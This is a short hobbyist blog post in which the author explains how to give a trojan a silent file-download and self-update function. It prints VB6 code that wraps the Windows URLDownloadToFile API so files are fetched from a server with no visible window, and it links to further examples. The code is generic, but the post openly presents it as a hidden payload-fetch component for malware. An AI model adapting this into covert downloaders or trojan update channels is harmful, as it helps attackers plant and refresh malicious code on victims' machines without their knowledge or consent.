Check what I’ve got!

Today I was using Winsock controls and had to think in another function for the trojan… What about a Downloading File… It would download the updated file of the server by a ftp or http, the problem is that it is very hard to find a simple example of downloading file without internet window… Well here is 2 examples: One by VB6 Protocols and other functions and the Winsock: http://www.vbforums.com/showthread.php?s=&threadid=310235. If you downloaded both files and said OMG!! I understand =D. Well I’ve been reading and Googling a lot more so I found this: http://vbnet.mvps.org/code/internet/urldownloadtofilenocache.htm. Simple Protocol Url to File Download, you will understand most of code, the most code is for the GUI but the hidden downlod file code is there =D. Okay, Okay, Okay… I’m a little bad with you, heres the “Hidden” Code:

Variables & Externals

Private Declare Function URLDownloadToFile Lib "urlmon" _
   Alias "URLDownloadToFileA" _
  (ByVal pCaller As Long, _
   ByVal szURL As String, _
   ByVal szFileName As String, _
   ByVal dwReserved As Long, _
   ByVal lpfnCB As Long) As Long
Private Const ERROR_SUCCESS As Long = 0
Private Const BINDF_GETNEWESTVERSION As Long = &H10
Private Const INTERNET_FLAG_RELOAD As Long = &H80000000

Functions & Internals

Private Function DownloadFile(sSourceUrl As String, _
                              sLocalFile As String) As Boolean

DownloadFile = URLDownloadToFile(0&, _
                                    sSourceUrl, _
                                    sLocalFile, _
                                    BINDF_GETNEWESTVERSION, _
                                    0&) = ERROR_SUCCESS
  
End Function

That’s it. You’ve got the idea but Google again because this is not full info code.

-MSBasicx

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: